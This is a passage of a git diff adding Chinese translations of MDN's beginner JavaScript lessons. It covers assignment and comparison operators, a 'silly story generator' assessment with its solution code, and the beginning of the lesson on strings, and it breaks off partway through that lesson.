我们已经使用了最基本的一个很多次了:<code>=</code>, 它只是将右边的值赋给左边的变量 ,即:</p> + +<pre class="brush: js notranslate">let x = 3; // x 的值是 3 +let y = 4; // y 的值是 4 +x = y; // x 和 y 有相同的值, 4</pre> + +<p>但是还有一些更复杂的类型,它们提供了有用的快捷方式,可以使您的代码更加清洁和高效。 最常见的如下:</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">运算符</th> + <th scope="col">名称</th> + <th scope="col">作用</th> + <th scope="col">示例</th> + <th scope="col">等价于</th> + </tr> + </thead> + <tbody> + <tr> + <td><code>+=</code></td> + <td>加法赋值</td> + <td>右边的数值加上左边的变量,然后再返回新的变量。</td> + <td><code>x = 3;<br> + x += 4;</code></td> + <td><code>x = 3;<br> + x = x + 4;</code></td> + </tr> + <tr> + <td><code>-=</code></td> + <td>减法赋值</td> + <td>左边的变量减去右边的数值,然后再返回新的变量。</td> + <td><code>x = 6;<br> + x -= 3;</code></td> + <td><code>x = 6;<br> + x = x - 3;</code></td> + </tr> + <tr> + <td><code>*=</code></td> + <td>乘法赋值</td> + <td>左边的变量乘以右边的数值,然后再返回新的变量。</td> + <td><code>x = 2;<br> + x *= 3;</code></td> + <td><code>x = 2;<br> + x = x * 3;</code></td> + </tr> + <tr> + <td><code>/=</code></td> + <td>除法赋值</td> + <td>左边的变量除以右边的数值,然后再返回新的变量。</td> + <td><code>x = 10;<br> + x /= 5;</code></td> + <td><code>x = 10;<br> + x = x / 5;</code></td> + </tr> + </tbody> +</table> + +<p>尝试在你的控制台中输入上面的一些示例,以了解它们的工作原理。 在每种情况下,你是否可以猜出在输入第二行之前的值。</p> + +<p>请注意,您可以愉快地使用每个表达式右侧的其他变量,例如:</p> + +<pre class="brush: js notranslate">let x = 3; // x 包含值 3 +let y = 4; // y 包含值 4 +x *= y; // x 现在包含值 12</pre> + +<div class="note"> +<p><strong>Note</strong>: 虽然有很多可用的<a href="/zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators#Assignment_operators">赋值运算符</a>, 但是这些是你现在应该学习的基本的一类。</p> +</div> + +<h2 id="主动学习:调整画布框的大小">主动学习:调整画布框的大小</h2> + +<p>在这个练习中,我们将让你填写一些数字和操作符来操纵一个框的大小。 该框使用称为{{domxref("Canvas API", "", "", "true")}}的浏览器API绘制。 没有必要担心这是如何工作的 - 现在只关注数学。 盒子的宽度和高度(以像素为单位)由变量 <code>x</code> 和 <code>y</code> 定义,变量 <code>x</code> 和 <code>y</code> 最初都被赋值为50。</p> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html", '100%', 620)}}</p> + +<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/editable_canvas.html">新窗口打开</a></strong></p> + +<p>在上面的可编辑代码框中,有两行标有清晰的注释,我们希望你更新以使框增长/缩小到某些大小,在每种情况下使用某些操作符和/或值。 我们希望你回答以下问题:</p> + +<ul> + <li>更改计算x的行,使框仍然是50px宽,并且使用数字43和7以及算术运算符计算50。</li> + <li>更改计算y的行,使框为高75像素,使用数字25和3计算75,以及算术运算符。</li> + <li>更改计算x的行,使框为250px宽,250是使用两个数字和余数(模)运算符计算的。</li> + <li>更改计算y的行,使框为150px高,150是使用三个数字计算的,以及减法和除数运算符。</li> + <li>更改计算x的行,因此该框为200px宽,并且使用数字4和赋值运算符计算200。</li> + <li>更改计算y的行,使框为200px高,使用数字50和3,乘法运算符和加法运算符计算200。</li> +</ul> + +<p>如果你完全混淆了代码,别担心。 您可以随时按“重置”按钮,使事情恢复正常。 在您正确回答了上述所有问题后,可以自由地使用代码或创建自己的挑战。</p> + +<h2 id="比较运算符">比较运算符</h2> + +<p>有时,我们将要运行真/假测试,然后根据该测试的结果进行相应的操作 - 为此,我们使用比较运算符。</p> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">运算符</th> + <th scope="col">名称</th> + <th scope="col">作用</th> + <th scope="col">示例</th> + </tr> + <tr> + <td><code>===</code></td> + <td>严格等于</td> + <td>测试左右值是否相同</td> + <td><code>5 === 2 + 4</code></td> + </tr> + <tr> + <td><code>!==</code></td> + <td>严格不等于</td> + <td>测试左右值是否<strong>不</strong>相同</td> + <td><code>5 !== 2 + 3</code></td> + </tr> + <tr> + <td><code><</code></td> + <td>小于</td> + <td>测试左值是否小于右值。</td> + <td><code>10 < 6</code></td> + </tr> + <tr> + <td><code>></code></td> + <td>大于</td> + <td>测试左值是否大于右值</td> + <td><code>10 > 20</code></td> + </tr> + <tr> + <td><=</td> + <td>小于或等于</td> + <td>测试左值是否小于或等于右值。</td> + <td><code>3 <= 2</code></td> + </tr> + <tr> + <td>>=</td> + <td>大于或等于</td> + <td>测试左值是否大于或等于正确值。</td> + <td><code>5 >= 4</code></td> + </tr> + </thead> +</table> + +<div class="note"> +<p><strong>Note</strong>: 您可能会看到有些人在他们的代码中使用<code>==</code>和<code>!=</code>来判断相等和不相等,这些都是JavaScript中的有效运算符,但它们与<code>===</code>/<code>!==</code>不同,前者测试值是否相同, 但是数据类型可能不同,而后者的严格版本测试值和数据类型是否相同。 严格的版本往往导致更少的错误,所以我们建议您使用这些严格的版本。</p> +</div> + +<p>如果您尝试在控制台中输入这些值,您将看到它们都返回 <code>true</code>/<code>false</code> 值 - 我们在上一篇文章中提到的那些布尔值。 这些是非常有用的,因为它们允许我们在我们的代码中做出决定 - 每次我们想要选择某种类型时,都会使用这些代码,例如:</p> + +<ul> + <li>根据功能是打开还是关闭,在按钮上显示正确的文本标签。</li> + <li>如果游戏结束,则显示游戏消息,或者如果游戏已经获胜,则显示胜利消息。</li> + <li>显示正确的季节性问候,取决于假期季节。</li> + <li>根据选择的缩放级别缩小或放大地图。</li> +</ul> + +<p>当我们在以后的的文章中查看条件语句时,我们将介绍如何编写这样的逻辑。 现在,我们来看一个简单的例子:</p> + +<pre class="brush: html notranslate"><button>Start machine</button> +<p>The machine is stopped.</p> +</pre> + +<pre class="brush: js notranslate">const btn = document.querySelector('button'); +const txt = document.querySelector('p'); + +btn.addEventListener('click', updateBtn); + +function updateBtn() { + if (btn.textContent === 'Start machine') { + btn.textContent = 'Stop machine'; + txt.textContent = 'The machine has started!'; + } else { + btn.textContent = 'Start machine'; + txt.textContent = 'The machine is stopped.'; + } +}</pre> + +<p>{{EmbedGHLiveSample("learning-area/javascript/introduction-to-js-1/maths/conditional.html", '100%', 100)}}</p> + +<p><strong><a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/maths/conditional.html">新窗口打开</a></strong></p> + +<p>您可以在updateBtn()函数内看到正在使用的等号运算符。 在这种情况下,我们不会测试两个数学表达式是否具有相同的值 - 我们正在测试一个按钮的文本内容是否包含某个字符串 - 但它仍然是工作原理。 如果按钮当前按“启动机”,则将其标签更改为“停机”,并根据需要更新标签。 如果按下按钮当前正在说“停机”,我们再次将显示器交换回来。</p> + +<div class="note"> +<p><strong>Note</strong>: 这种在两个状态之间来回交换的行为通常被称为<strong> </strong><strong>切换 (toggle)</strong>。它在一个状态和另一个状态之间切换 - 点亮,熄灭等</p> +</div> + +<h2 id="总结">总结</h2> + +<p>在本文中,我们已经介绍了现在需要了解JavaScript中数字的基本信息。 你会发现,在你学习JavaScript过程中,num类型的数据一直都在被使用,所以熟练的掌握它是一个不错的选择。 如果你是那些不喜欢数学的人之一,你应该庆幸这一章内容很简短。</p> + +<p>在下一篇文章中,我们将探讨文本,以及JavaScript如何让我们操纵它。</p> + +<div class="note"> +<p><strong>Note</strong>: 如果您喜欢数学,并希望阅读更多关于它如何在JavaScript中实现的, 那么你可以在 MDN's main JavaScript 部分读到更多关于它的内容。对于学习<a href="/zh-CN/docs/Web/JavaScript/Guide/Numbers_and_dates">数字与日期</a> 和 <a href="/zh-CN/docs/Web/JavaScript/Guide/Expressions_and_Operators#运算符优先级">表达式与运算符</a> 来说,那是一个不错的地方。</p> +</div> + +<p>{{PreviousMenuNext("Learn/JavaScript/First_steps/Variables", "Learn/JavaScript/First_steps/Strings", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="在这个模块">在这个模块</h2> + +<ul> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_is_JavaScript">什么是 JavaScript?</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">哪里出错了</a><a href="/zh-CN/docs/Learn/JavaScript/First_steps/What_went_wrong">? JavaScript 故障排除</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Variables">存储你需要的信息——变量</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Math">JavaScript 中的基本运算——数值和运算符</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Strings">文字处理——JavaScript 字符串</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Useful_string_methods">实用的strings方法</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Arrays">Arrays</a></li> + <li><a href="/zh-CN/docs/Learn/JavaScript/First_steps/Silly_story_generator">Assessment: Silly story generator</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/silly_story_generator/index.html b/files/zh-cn/learn/javascript/first_steps/silly_story_generator/index.html new file mode 100644 index 0000000000..f99ff16949 --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/silly_story_generator/index.html @@ -0,0 +1,239 @@ +--- +title: 笑话生成器 +slug: Learn/JavaScript/First_steps/Silly_story_generator +tags: + - JavaScript + - 初学者 + - 变量 + - 字符串 + - 学习 + - 操作符 + - 数字 + - 数组 + - 测试 + - 脚本代码 + - 课程设计 +translation_of: Learn/JavaScript/First_steps/Silly_story_generator +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">本节是一个小测验,要求你运用所学知识制作一个笑话生成器。祝玩的愉快!</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>请读完本章所有小节的内容后再开始这个测验。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>测试你对变量、数字、操作符、字符串和数组等 Javascript 基本概念的理解程度。</td> + </tr> + </tbody> +</table> + +<h2 id="起点">起点</h2> + +<p>测验开始之前需要下载并保存 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/index.html">index.html</a>、<a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/style.css">style.css</a>、<a class="external external-icon" href="https://github.com/roy-tian/learning-area/blob/master/javascript/introduction-to-js-1/assessment-start/raw-text.txt">raw-text.txt</a>。</p> + +<div class="note"> +<p><strong>注:</strong> 你还可以用类似 <a class="external external-icon" href="http://jsbin.com/">JSBin</a> 或 <a class="external external-icon" href="https://thimble.mozilla.org/">Thimble</a> 这些在线编辑器来完成测验。你可以把 HTML、CSS 及 JavaScript 代码复制过去。如果你选的工具没有独立的 JavaScript 版面,可以随时在 HTML 页面中添加 <code><script></code> 元素。</p> +</div> + +<h2 id="项目简介">项目简介</h2> + +<p>我们提供了一些原始的 HTML / CSS,以及若干字符串和 JavaScript 函数,还需要你来编写一些 JavaScript 代码让项目运行起来:</p> + +<ul> + <li>点击“随机生成笑话”按钮时生成一则笑话。</li> + <li>若“生成”按钮按下之前,你在“输入自定义的名字”文字框中输入了一个自定义名字,那么生成的笑话中原有的名字(李雷 / Bob)将被取代。</li> + <li>通过选择国家名称的单选按钮来确定界面语言以及笑话中温度和重量的制式。</li> + <li>点一次按钮,生成一个新故事。点一次生成一个……</li> +</ul> + +<p>可以尝试操作一下:(别偷看源代码哦!)</p> + +<div class="hidden"> +<h6 id="Silly_story_generator">Silly story generator</h6> + +<pre class="brush: html notranslate"><!DOCTYPE html> +<html> +<head> + <meta charset="utf-8"> + <style> + body { + font-family: helvetica, sans-serif; + width: 350px; + border: 1px solid; + padding: 1em; + } + label { + font-weight: bold; + } + div { + padding-bottom: 20px; + } + input[type="text"] { + padding: 5px; + width: 150px; + } + p { + background: #FFC125; + color: #5E2612; + padding: 10px; + visibility: hidden; + } + </style> +</head> + +<body> +<div> + <label for="customname" id="lbl-customname">请输入自定义的名字:</label> + <input id="customname" type="text" placeholder="李雷"> +</div> +<div> + <label for="metric">公制</label><input id="metric" type="radio" name="measure" value="metric" checked> + <label for="american">美制</label><input id="american" type="radio" name="measure" value="american"> +</div> +<div> + <button class="randomize">随机生成笑话</button> +</div> +<!-- Thanks a lot to Willy Aguirre for his help with the code for this assessment --> +<p class="story"></p> + +<script> +const customName = document.getElementById('customname'); +const randomize = document.querySelector('.randomize'); +const story = document.querySelector('.story'); + +function randomValueFromArray(array){ + const random = Math.floor(Math.random() * array.length); + return array[random]; +} + +let storyText = '今天气温 35 摄氏度,:insertx:出门散步。当走到:inserty:门前时,突然就:insertz:。人们都惊呆了,李雷全程目睹但并没有慌,因为:insertx:是一个 140 公斤的胖子,天气又辣么热。'; +let insertX = ['怪兽威利', '大老爹', '圣诞老人']; +let insertY = ['肯德基', '迪士尼乐园', '白宫']; +let insertZ = ['自燃了', '在人行道化成了一坨泥', '变成一只鼻涕虫爬走了']; + +randomize.addEventListener('click', result); + +function result() { + let newStory = storyText; + + let xItem = randomValueFromArray(insertX); + let yItem = randomValueFromArray(insertY); + let zItem = randomValueFromArray(insertZ); + + newStory = newStory.replace(':insertx:', xItem); + newStory = newStory.replace(':insertx:', xItem); + newStory = newStory.replace(':inserty:', yItem); + newStory = newStory.replace(':insertz:', zItem); + + if(customName.value !== '') { + const name = customName.value; + newStory = newStory.replace('李雷', name); + } + + if(document.getElementById("american").checked) { + const weight = Math.round(140 * 2.20462) + ' 磅'; + const temperature = Math.round(35 * 9 / 5 + 32) + ' 华氏度'; + newStory = newStory.replace('35 摄氏度', temperature); + newStory = newStory.replace('140 公斤', weight); + } + + story.textContent = newStory; + story.style.visibility = 'visible'; +} +</script> + +</body> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Silly_story_generator', '100%', 350, "", "", "hide-codepen-jsfiddle") }}</p> + +<div class="note"> +<p><strong>译注: </strong><a class="external external-icon">点击在线试用</a> 汉化版本。有兴趣还可以在本节结束后回来 <a class="external external-icon" href="https://github.com/roy-tian/learning-area/tree/master/javascript/introduction-to-js-1/assessment-finished">看看代码</a>。(没兴趣就跳过吧 :)</p> +</div> + +<h2 id="步骤">步骤</h2> + +<p>以下是你的工作。</p> + +<p>初始化变量和函数:</p> + +<ol> + <li>将刚下载的文本文件中的“1. 定义变量和函数”标题项下所有代码复制粘贴至 main.js 中。此时你就有了三个变量(<code>customName</code> 是对“输入自定义的名字”文本框的引用,<code>randomize</code> 是对“随机生成笑话”按钮的引用,<code>story</code> 是对 HTML 底部的、准备存放笑话的 {{htmlelement("p")}} 元素的引用)和一个函数(<code>randomValueFromArray()</code> 取一个数组作参数,随机返回数组中的一个元素)。</li> + <li>然后是文本文件的第二节——“2. 纯文本字符串”。这里包含了一些字符串,这些字符串是项目的输入信息。你应该在 main.js 文件中用变量来保存它们。 + <ol> + <li>用 <code>storyText</code> 变量保存第一个长字符串,“今天气温……”。</li> + <li>用 <code>insertX</code> 数组保存第一组三个字符串,“怪兽威利……”。</li> + <li>用 <code>insertY</code> 数组保存第二组三个字符串。“肯德基……”。</li> + <li>用 <code>insertZ</code> 数组保存第三组三个字符串。“自燃了……”。</li> + </ol> + </li> +</ol> + +<p>放置事件处理器并补全:</p> + +<ol> + <li>返回刚才的文本文件。</li> + <li>将“3. 事件监听器和未完成的函数定义”标题项下的代码复制粘贴至 <code>main.js</code> 文件。这将: + <ul> + <li>为 <code>randomize</code> 变量增加一个点击事件的监听器。于是当所引用的按钮被点击时,<code>result()</code> 函数就会运行。</li> + <li>为代码添加一个未完成的 <code>result()</code> 函数定义。本测验剩下的工作就是完成这个函数,让程序正常运行起来。</li> + </ul> + </li> +</ol> + +<p>补全 <code>result()</code> 函数:</p> + +<ol> + <li>将 <code>newStory</code> 的值设置为 <code>storyText</code>。声明新变量有必要的,只有这样才能在每次按下按钮后、在函数运行时生成一个新的随机笑话。如果直接操作 <code>storyText</code> 则只能生成一次新故事</li> + <li>将 <code>xItem</code>、<code>yItem</code> 和 <code>zItem</code> 分别设置为 <code>randomValueFromArray(insertX)</code>、<code>randomValueFromArray(insertY)</code> 和 <code>randomValueFromArray(insertZ)</code>。</li> + <li>接下来将 <code>newStory</code> 中的占位符(<code>:inserta:</code>、<code>:insertb:</code> 和 <code>:insertc:</code> )替换为 <code>xItem</code>、<code>yItem</code> 和 <code>zItem</code>。有专用的字符串方法可供使用,并用该方法的返回值为 <code>newStory</code> 赋值。每当按下按钮时,这些占位符都会替换为随机的笑话字符串。再给你一点提示,我们所说的这种方法每次只会将所找到的首个子字符串进行替换,因此该方法对某个占位符需要执行两次。</li> + <li>在第一个 <code>if</code> 块中再次调用这个字符串替换方法,以使 <code>newStory</code> 字符串中的名字“李雷”替换为变量 <code>name</code> 的值 。这里我们说:“如果 <code>customName</code> 中有值,就把故事里的 “李雷”替换成它。” 如果是汉化版将newStory中的“李雷”替换成 <code>name</code> 的值;</li> + <li>在第二个 <code>if</code> 块中检查 <code>american</code> 单选按钮是否被选中。如果选中,就要将故事中的重量和温度值从公斤和摄氏度转换为磅和华氏度,具体事项如下: + <ol> + <li>确定英美单位的转换公式。</li> + <li>定义变量 <code>weight</code>、<code>temperature</code> 的行中,分别将美制单位按公式转化为英制,用 <code>Math.round()</code> 对计算结果取整。然后将英式单位连接到末尾。</li> + <li>就在上述两个变量的定义下方增加两个字符串置换操作,将“35 摄氏度”替换为 <code>temperature</code> 的值,将“140 公斤”替换为 <code>weight</code> 的值。</li> + </ol> + </li> + <li>最后,在函数倒数第二行,将 <code>story.textContent</code>(程序中显示笑话结果的段落) 赋值为 <code>newStory</code>。</li> +</ol> + +<h2 id="提示">提示</h2> + +<ul> + <li>除了在 HTML 文件中引入这个 JavaScript 文件之外,完全不需要编辑 HTML。</li> + <li>如果你不确定当前 JavaScript 是否正确添加到了你的 HTML 中,可以尝试暂时删除 JavaScript 文件的所有内容,然后加上一些简单但效果显著的 JavaScript 代码,保存文件并刷新浏览器。下面的示例会让 {{htmlelement("html")}} 背景变为红色,如果 JavaScript 成功加载,那么整个浏览器窗口将变红:</li> + <li> + <pre class="brush: js line-numbers language-js notranslate"><code class="language-js">document<span class="punctuation token">.</span><span class="function token">querySelector</span><span class="punctuation token">(</span><span class="string token">'html'</span><span class="punctuation token">)</span><span class="punctuation token">.</span>style<span class="punctuation token">.</span>backgroundColor <span class="operator token">=</span> <span class="string token">'red'</span><span class="punctuation token">;</span></code></pre> + </li> + <li><code class="language-js"><span class="punctuation token"><a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Math/round">Math.round()</a></span></code> 是 Javascript 的内建函数,可取得与传入小数最接近的整数。</li> + <li>本示例中有三类字符串需要替换。可以多次重复 <code>replace()</code> 方法,也可使用正则表达式。例如:<code>var text = 'I am the biggest lover, I love my love';</code> 或 <code>text.replace(/love/g,'like');</code> 会将所有的“love”替换为“like”。记住,字符串本身是不可修改的!</li> +</ul> + +<h2 id="测验">测验</h2> + +<p>如果你是在课堂上进行这个测验,你可以把作品交给导师或教授去打分了。如果你是在自学,也可以在 <a href="https://discourse.mozilla.org/t/silly-story-generator-assessment/24686">本节测验的讨论页</a> 或者 <a href="https://wiki.mozilla.org/IRC">Mozilla 聊天室 </a>的 <a href="irc://irc.mozilla.org/mdn">#mdn</a> 频道取得帮助。要自己先尝试,作弊是不会有收获的!</p> + +<p>{{PreviousMenu("Learn/JavaScript/First_steps/Arrays", "Learn/JavaScript/First_steps")}}</p> + +<h2 id="本章目录">本章目录</h2> + +<ul> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_is_JavaScript">JavaScript 是什么?</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/A_first_splash">JavaScript 初体验</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/What_went_wrong">查找并解决 JavaScript 代码的错误 </a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Variables">变量:储存所需信息</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Math">数字和运算符:JavaScript 的基本算数</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Strings">字符串:JavaScript 文本的处理</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Useful_string_methods">字符串的一些实用方法</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Arrays">数组</a></li> + <li><a href="https://developer.mozilla.org/en-US/docs/Learn/JavaScript/First_steps/Silly_story_generator">课程评估:笑话机</a></li> +</ul> diff --git a/files/zh-cn/learn/javascript/first_steps/strings/index.html b/files/zh-cn/learn/javascript/first_steps/strings/index.html new file mode 100644 index 0000000000..36352b5f48 --- /dev/null +++ b/files/zh-cn/learn/javascript/first_steps/strings/index.html @@ -0,0 +1,288 @@ +--- +title: 文本处理 — JavaScript中的字符串 +slug: Learn/JavaScript/First_steps/Strings +tags: + - JavaScript + - Join + - 初学者 + - 字符串 + - 指南 + - 文章 + - 脚本编写 +translation_of: Learn/JavaScript/First_steps/Strings +--- +<div>{{LearnSidebar}}</div> + +<div>{{PreviousMenuNext("Learn/JavaScript/First_steps/Math", "Learn/JavaScript/First_steps/Useful_string_methods", "Learn/JavaScript/First_steps")}}</div> + +<p class="summary">接下来,我们将把注意力转向文本片段——也就是编程中所说的<strong>字符串</strong>。在本文中,我们将了解在学习JavaScript时,您应该了解的关于字符串的所有常见事项,例如创建字符串、在字符串中转义引号,和连接字符串。</p> + +<table class="learn-box standard-table"> + <tbody> + <tr> + <th scope="row">预备知识:</th> + <td>基本的计算机读写能力,对HTML和CSS的基本理解,对JavaScript的理解。</td> + </tr> + <tr> + <th scope="row">目标:</th> + <td>要熟悉JavaScript中字符串的基本知识。</td> + </tr> + </tbody> +</table> + +<h2 id="语言的力量">语言的力量</h2> + +<p>语言对人类非常重要——它们是我们交流的重要组成部分。由于Web是一种主要基于文本的媒介,旨在让人们进行交流和分享信息,因此对我们来说,掌握它所出现的单词是很有用的。{{glossary("HTML")}}为我们的文本提供了结构和意义, {{glossary("CSS")}} 允许我们精确地设计它的样式,JavaScript包含许多操作字符串的特性,创建定制的欢迎消息,在需要时显示正确的文本标签,将术语排序到所需的顺序,等等。</p> + +<p>到目前为止,我们在课程中展示的所有程序都涉及到一些字符串操作。</p> + +<h2 id="字符串_—_基本知识">字符串 — 基本知识</h2> + +<p>字符串与数字的处理方式第一眼看上去十分相似,但是当您深入挖掘时,您将会看到一些显著的差异。让我们首先在一个控制台输入一些基本的行来熟悉一下。<br> + 我们在下面提供了一个(您也可以在一个单独的选项卡或窗口中<a href="https://mdn.github.io/learning-area/javascript/introduction-to-js-1/variables/index.html">打开这个控制台</a>,或者如果您愿意使用<a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_are_browser_developer_tools">浏览器开发人员控制台</a>)。</p> + +<div class="hidden"> +<h6 id="Hidden_code">Hidden code</h6> + +<pre class="brush: html"><!DOCTYPE html> +<html> + <head> + <meta charset="utf-8"> + <title>JavaScript console</title> + <style> + * { + box-sizing: border-box; + } + + html { + background-color: #0C323D; + color: #809089; + font-family: monospace; + } + + body { + max-width: 700px; + } + + p { + margin: 0; + width: 1%; + padding: 0 1%; + font-size: 16px; + line-height: 1.5; + float: left; + } + + .input p { + margin-right: 1%; + } + + .output p { + width: 100%; + } + + .input input { + width: 96%; + float: left; + border: none; + font-size: 16px; + line-height: 1.5; + font-family: monospace; + padding: 0; + background: #0C323D; + color: #809089; + } + + div { + clear: both; + } + + </style> + </head> + <body> + + + </body> + + <script> + var geval = eval; + function createInput() { + var inputDiv = document.createElement('div'); + var inputPara = document.createElement('p'); + var inputForm = document.createElement('input'); + + inputDiv.setAttribute('class','input'); + inputPara.textContent = '>'; + inputDiv.appendChild(inputPara); + inputDiv.appendChild(inputForm); + document.body.appendChild(inputDiv); + + inputForm.addEventListener('change', executeCode); + } + + function executeCode(e) { + try { + var result = geval(e.target.value); + } catch(e) { + var result = 'error — ' + e.message; + } + + var outputDiv = document.createElement('div'); + var outputPara = document.createElement('p'); + + outputDiv.setAttribute('class','output'); + outputPara.textContent = 'Result: ' + result; + outputDiv.appendChild(outputPara); + document.body.appendChild(outputDiv); + + e.target.disabled = true; + e.target.parentNode.style.opacity = '0.5'; + + createInput() + } + + createInput(); + + </script> +</html></pre> +</div> + +<p>{{ EmbedLiveSample('Hidden_code', '100%', 300) }}</p> + +<h3 id="创建一个字符串">创建一个字符串</h3> + +<ol> + <li>首先, 输入下面的代码: + <pre class="brush: js">let string = 'The revolution will not be televised.'; +string;</pre> + 就像我们处理数字一样,我们声明一个变量,用一个字符串值初始化它,然后返回值。这里惟一的区别是,在编写字符串时,我们需要在字符串上加上引号。</li> + <li>如果你不这样做,或者在书写过程中,漏掉其中一个引号,你就会得到一个错误。<br> + 试着输入以下几行: + <pre class="brush: js example-bad">let badString = This is a test; +let badString = 'This is a test; +let badString = This is a test';</pre> + 这些行不起作用,因为没有引号的任何文本字符串都被假定为变量名、属性名、保留字或类似。如果浏览器不能找到它,那么将会引发语法错误(例如:"missing ; before statement")。<br> + 如果浏览器能够识别字符串从哪里开始,但是不能找到字符串的结尾符,如第二行所示,那么它则会提示这样的错误(“unterminated string literal”)。如果您写的程序目前也引发这样的错误,那么请你回过头来仔细检查你的代码,看是否漏写了引号。</li> + <li>如果您之前定义了变量字符串,下面的操作将会起作用 — 现在来试一试: + <pre class="brush: js">let badString = string; +badString;</pre> + + <p>现在将 <code>string</code> 的值赋值给 <code>badString</code>,赋值之后,两个字符串的值相等。</p> + </li> +</ol> + +<h3 id="单引号和双引号">单引号和双引号</h3> + +<ol> + <li>在JavaScript中,您可以选择单引号或双引号来包裹字符串。<br> + 下面两种方式都可以: + <pre class="brush: js">let sgl = 'Single quotes.'; +let dbl = "Double quotes"; +sgl; +dbl;</pre> + </li> + <li>两者之间几乎没有什么区别,根据个人偏好来使用。但是,您应该选择一个并坚持使用它,不一致的引号混用代码可能会让人很迷惑,特别是如果您在同一个字符串中使用不同的引号!<br> + 下面将返回一个错误: + <pre class="brush: js example-bad">let badQuotes = 'What on earth?";</pre> + </li> + <li>浏览器会认为字符串没有被关闭,因为在字符串中您没有使用其他类型的引号。<br> + 例如,这两种情况都是可以的: + <pre class="brush: js">let sglDbl = 'Would you eat a "fish supper"?'; +let dblSgl = "I'm feeling blue."; +sglDbl; +dblSgl;</pre> + </li> + <li>但是,您不能在字符串中包含相同的引号,因为它是用来包含它们的。下面将会出现错误,因为它会混淆浏览器和字符串的结束位置: + <pre class="brush: js example-bad">let bigmouth = 'I've got no right to take my place...';</pre> + 这个指引将会让我们很好地进入下一个主题。</li> +</ol> + +<h3 id="转义字符串中的字符">转义字符串中的字符</h3> + +<p>要修复我们之前的问题代码行,我们需要避免引号的问题。转义字符意味着我们对它们做一些事情,以确保它们被识别成文本,而不是代码的一部分。在JavaScript中,我们通过在字符之前放一个反斜杠来实现这一点。试试这个:</p> + +<pre class="brush: js">let bigmouth = 'I\'ve got no right to take my place...'; +bigmouth;</pre> + +<p>这回正常了。你可以用别的方式来达到一样的目的, 例如. <code>\",</code> 除此之外有一些特殊的代码 。更多细节请参见<a href="/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String#Parameters">转义符号</a>。</p> + +<h2 id="连接字符串">连接字符串</h2> + +<ol> + <li>连接是一个很花哨的编程词,意思是“连接在一起”。在JavaScript中连接字符串使用加号(+)操作符,我们也用它来将数字加在一起,但是在这种情况下,它做了一些不同的事情。让我们在控制台中尝试一个例子。 + <pre class="brush: js">let one = 'Hello, '; +let two = 'how are you?'; +let joined = one + two; +joined;</pre> + 变量 <code>joined</code> 的值的结果,它包含的值为 "Hello, how are you?"。</li> + <li>最后一个例子中, 我们只是把两个字符串连接在一起,但是你可以喜欢连接多少就多少个, 只需要在它们之间加上 + 操作符。试试这个: + <pre class="brush: js">let multiple = one + one + one + one + two; +multiple;</pre> + </li> + <li>你还能用真实的字符串和变量来混合。试试这个: + <pre class="brush: js">let response = one + 'I am fine — ' + two; +response;</pre> + </li> +</ol> + +<div class="note"> +<p><strong>注意</strong>: 当您在您的代码中输入一个实际的字符串时,用单引号或双引号括起来,它被称为字符串文字。</p> +</div> + +<h3 id="上下文中的串联">上下文中的串联</h3> + +<p>让我们看一下在操作中使用的连接——这是本课程早些时候的一个例子:</p> + +<pre class="brush: html"><button>Press me</button></pre> + +<pre class="brush: js">const button = document.querySelector('button'); + +button.onclick = function() { + let name = prompt('What is your name?'); + alert('Hello ' + name + ', nice to see you!'); +}</pre> + +<p>{{ EmbedLiveSample('上下文中的串联', '100%', 50, "", "", "hide-codepen-jsfiddle") }}</p> + +<p>这里我们使用的是第4行中的 {{domxref("window.prompt()", "window.prompt()")}} 函数, 它要求用户通过一个弹出对话框回答一个问题然后将他们输入的文本存储在一个给定的变量中 — 在这个例子中是就是 <code>name</code> 变量。然后,我们在第5行中使用 {{domxref("window.alert()","window.alert()")}} 函数来显示另一个弹出窗口,其中包含一个字符串,我们用两个字符串常量和name变量通过连接进行组合。</p> + +<h3 id="数字与字符">数字与字符</h3> + +<ol> + <li>当我们尝试添加(或连接)一个字符串和一个数字时,会发生什么?<br> + 让我们在我们的控制台中尝试一下: + <pre 